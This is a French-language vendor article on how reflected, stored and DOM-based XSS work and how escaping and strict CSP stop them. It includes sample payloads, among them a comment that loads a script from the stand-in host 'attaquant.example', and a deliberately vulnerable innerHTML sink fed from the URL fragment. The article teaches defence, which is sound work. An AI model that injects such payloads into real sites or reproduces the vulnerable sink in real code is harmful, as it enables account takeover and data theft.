# Comment fonctionne vraiment une attaque XSS, et ce qui l’arrête

> Le XSS transforme une saisie non fiable en code exécuté dans le navigateur de quelqu’un d’autre. Différences entre XSS réfléchi, stocké et DOM, ce qu’un attaquant en tire et pourquoi échappement plus CSP stricte forment la combinaison qui tient.

- Canonical: https://info.centralcsp.com/fr/articles/how-xss-attacks-work/
- Published: 2026-08-09
- Language: fr
- Publisher: CentralCSP (https://centralcsp.com)

Le cross-site scripting figure dans chaque édition de l’OWASP Top 10 depuis que la liste existe, et il y reste parce que la cause profonde est inscrite dans le fonctionnement même du web : une page se construit en concaténant des chaînes de caractères, et certaines de ces chaînes viennent de gens auxquels vous n’avez aucune raison de faire confiance.

Le mécanisme tient en trois phrases. Une application prend une entrée qu’elle ne contrôle pas (un paramètre d’URL, un commentaire, un fragment) et l’écrit dans une page comme du HTML sans la neutraliser. Le navigateur ne sait pas distinguer le balisage que vous avez écrit de celui arrivé dans l’entrée, donc un `<script>` injecté s’exécute avec toute l’autorité de la personne qui consulte la page. Voilà toute l’astuce. Le reste du sujet, ce sont des variantes sur le point d’entrée et la durée de vie de l’injection.

## XSS réfléchi, stocké, DOM : les trois variantes

Le **XSS réfléchi** voyage dans un lien. Prenez une page de recherche qui renvoie la requête en écho : « 42 résultats pour ordinateur ». Si cet écho n’est pas échappé, une URL fabriquée fait le reste :

```text
https://boutique.example/recherche?q=<script>/* le code de l'attaquant irait ici */</script>
```

L’attaquant diffuse le lien par mail, par publicité ou derrière un raccourcisseur d’URL. La victime clique, le serveur reflète le paramètre dans sa réponse, et c’est le navigateur de la victime qui exécute le tout. Rien n’est stocké nulle part, et chaque victime doit recevoir son propre lien piégé. C’est pour cela que XSS réfléchi et phishing vont presque toujours ensemble.

Le **XSS stocké** supprime ce problème de livraison. La charge part dans tout ce que l’application enregistre puis affiche : un commentaire, un pseudo, un ticket de support. Un commentaire sauvegardé sous la forme

```html
Super article ! <script src="https://attaquant.example/collect.js"></script>
```

s’exécute désormais pour chaque visiteur qui ouvre la page, indéfiniment, sans autre interaction que la navigation. C’est la variante qui passe à l’échelle et celle derrière la plupart des incidents dont on se souvient.

Le **XSS DOM** peut ne jamais toucher le serveur. Du code côté client lit une donnée influencée par l’attaquant dans `location` et l’écrit dans la page :

```js
// vulnérable : le fragment d'URL est contrôlé par l'attaquant
document.getElementById('bandeau').innerHTML =
  decodeURIComponent(location.hash.slice(1));
```

Un lien terminé par un fragment `#` fabriqué suffit à le déclencher. Les fragments ne sont pas transmis au serveur : rien dans vos logs d’accès, et aucun filtre côté serveur ne verra jamais la charge.

## Ce que l’attaquant y gagne

Le script injecté tourne dans la session de la victime, impossible à distinguer de votre propre code. Il lit ce que la page affiche : données de compte, messages privés, tout le DOM d’un tableau de bord connecté. Il agit au nom de l’utilisateur, puisque les requêtes same-origin embarquent la session automatiquement : changer une adresse mail ou publier depuis un compte de confiance, c’est un `fetch()` de distance. Et il exfiltre sa récolte, cookies et frappes clavier dans les formulaires compris, vers n’importe quel serveur qui écoute. L’angle session mérite son propre article, nous l’avons écrit : [comment fonctionnent le vol de cookies et le détournement de session](/fr/articles/cookie-theft-session-hijacking/).

Le XSS, ce n’est pas des pages défigurées. C’est de l’usurpation silencieuse.

## Ce qui l’arrête vraiment : des couches, dans l’ordre

**L’échappement au point de sortie** vient en premier. `<` devient `&lt;` en contexte HTML, et chaque contexte (attribut, URL, chaîne JavaScript) a ses propres règles. C’est nécessaire et jamais suffisant seul, parce qu’il faut l’appliquer sur chaque point d’écriture, par chaque développeur, sur chaque chemin de code, pendant toute la vie de l’application. Au bout de dix ans, quelqu’un finit toujours par trouver le template antérieur à la convention.

**L’échappement automatique des frameworks** explique pourquoi les applications modernes ont moins de trous réfléchis que le PHP de 2010. React, Vue, Angular et les moteurs de templates actuels échappent les valeurs interpolées par défaut, ce qui déplace le risque vers les portes de sortie : `innerHTML`, `dangerouslySetInnerHTML`, `v-html`. Cherchez-les dans votre base de code et exigez une justification pour chaque occurrence. Si vous devez réellement afficher du HTML fourni par l’utilisateur, assainissez-le avec une bibliothèque maintenue, pas avec une regex maison.

**Une CSP stricte est le filet pour le jour où les deux premières couches cèdent.** Avec des [nonces ou des hashes](/fr/articles/csp-nonces-vs-hashes/) et `'strict-dynamic'`, seuls les scripts que vous avez explicitement marqués peuvent s’exécuter. Le balisage de l’attaquant peut atterrir dans la page et y rester lettre morte : pas de nonce, pas de hash correspondant, pas d’exécution. Et `connect-src` ferme la sortie : même un script qui s’exécuterait malgré tout ne peut pas envoyer son butin vers `attaquant.example` si la politique ne liste pas cette origine. Si la CSP est nouvelle pour vous, commencez par [ce qu’est une Content Security Policy](/fr/articles/what-is-a-content-security-policy/) et la [doc nonces et hashes](https://centralcsp.com/fr/docs/web-security/policies/content-security-policy/values/csp-hashes-nonce).

**La supervision boucle la boucle.** Une CSP qui bloque un script injecté génère aussi un rapport de violation, et ce rapport est la façon dont vous apprenez qu’une injection a été tentée en production, souvent avant tout scanner ou bug bounty. Pointez `report-to` vers un collecteur et lisez réellement le flux. CentralCSP fournit un endpoint managé, des violations indexées par directive et par origine et 90 jours de rétention sur tous les paliers : le jour où une charge apparaît dans votre champ de commentaires, c’est une ligne dans un tableau de bord, pas un mystère.

Aucune couche ne survit seule à un attaquant motivé. L’échappement cède sur un point d’écriture oublié, une porte de sortie de framework est mal utilisée, et c’est précisément là que la CSP justifie son existence. Le XSS n’est qu’une pièce de la question plus large de ce qui s’exécute dans le navigateur de vos utilisateurs. Pour la vue d’ensemble, voyez [ce que couvre la sécurité côté client](/fr/articles/what-is-client-side-security/).

## Questions fréquentes

### Une CSP empêche-t-elle le XSS ?

Une CSP stricte avec nonces ou hashes empêche les scripts injectés de s’exécuter, ce qui neutralise l’impact de la plupart des XSS même quand l’injection réussit. Elle ne corrige pas la faille d’injection elle-même, et une injection HTML pure (un faux formulaire de connexion, par exemple) peut nuire sans le moindre script. La CSP est le filet de sécurité derrière l’échappement, pas son remplaçant.

### Quelle est la différence entre XSS réfléchi, stocké et DOM ?

Le XSS réfléchi arrive dans un lien piégé que le serveur renvoie aussitôt dans sa réponse : chaque victime doit recevoir sa propre URL. Le XSS stocké est enregistré par l’application (un commentaire, un champ de profil) puis servi à tous les visiteurs suivants. Le XSS DOM se joue entièrement dans le JavaScript côté client qui écrit des données de l’URL dans la page, sans forcément atteindre le serveur. Une fois le script exécuté, l’impact est le même.

### Que peut faire concrètement un attaquant avec une faille XSS ?

Tout ce que la session de la victime permet. Le script injecté lit ce que la page affiche, envoie des requêtes same-origin au nom de l’utilisateur connecté, capture ce qui est tapé dans les formulaires et transmet sa récolte vers un serveur contrôlé par l’attaquant. Les cookies HttpOnly ne sont pas lisibles directement, mais le script agit quand même comme l’utilisateur tant que l’onglet reste ouvert.

### Échapper les entrées utilisateur suffit-il contre le XSS ?

L’échappement en sortie est la première défense, mais il ne tient que s’il est appliqué sur chaque point d’écriture, par chaque développeur, pour toujours. Un template oublié ou une affectation innerHTML mal placée rouvre le trou. C’est exactement pour cela que les frameworks échappent par défaut et qu’une CSP stricte existe : elle tient le jour où l’échappement lâche.
